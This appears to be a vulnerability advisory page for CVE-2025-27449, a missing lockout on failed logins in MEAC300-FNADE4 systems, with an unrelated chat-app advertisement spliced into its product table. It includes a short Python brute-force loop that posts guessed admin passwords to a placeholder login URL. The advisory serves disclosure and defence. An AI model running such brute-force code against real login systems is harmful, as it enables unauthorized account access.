Overview
The vulnerability, identified as CVE-2025-27449, is a severe security flaw found in the MEAC300-FNADE4 systems. This vulnerability allows potential attackers to execute brute-force attacks due to the system’s insufficiency in preventing multiple failed authentication attempts within a short time frame. The implications of this vulnerability are significant, potentially compromising systems or leading to data leakage.
Vulnerability Summary
CVE ID: CVE-2025-27449
Severity: High (7.5 CVSS Score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise and potential data leakage
Affected Products
Escape the Surveillance Era
Most apps won’t tell you the truth.
They’re part of the problem.
Phone numbers. Emails. Profiles. Logs.
It’s all fuel for surveillance.
Ameeba Chat gives you a way out.
- • No phone number
- • No email
- • No personal info
- • Anonymous aliases
- • End-to-end encrypted
Chat without a trace.
Product | Affected Versions
MEAC300-FNADE4 | All versions prior to patch
How the Exploit Works
The vulnerability stems from the system’s lack of effective measures to prevent multiple failed login attempts within a short timeframe. Attackers can exploit this weakness by repeatedly attempting to authenticate with different credentials until successful. This form of attack, known as brute force, can potentially allow an attacker to gain unauthorized access to the system.
Conceptual Example Code
The following is a conceptual example of a brute-force attack exploiting this vulnerability:
import requests
target_url = "http://target.example.com/login"
username = "admin"
# Brute force password
for password in password_list:
payload = {"username": username, "password": password}
response = requests.post(target_url, data=payload)
if response.status_code == 200:
print(f"Successful login with password: {password}")
break
In the above pseudocode, we attempt to authenticate with a list of passwords until a successful login response is received. This is a simplified example and real-world brute-force attacks may be more complex and sophisticated.
Mitigation Guidance
It is highly encouraged for users of MEAC300-FNADE4 to apply the vendor patch as soon as possible to mitigate this vulnerability. If the patch cannot be applied immediately, a temporary solution would be the use of a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) to monitor and block suspicious authentication attempts.

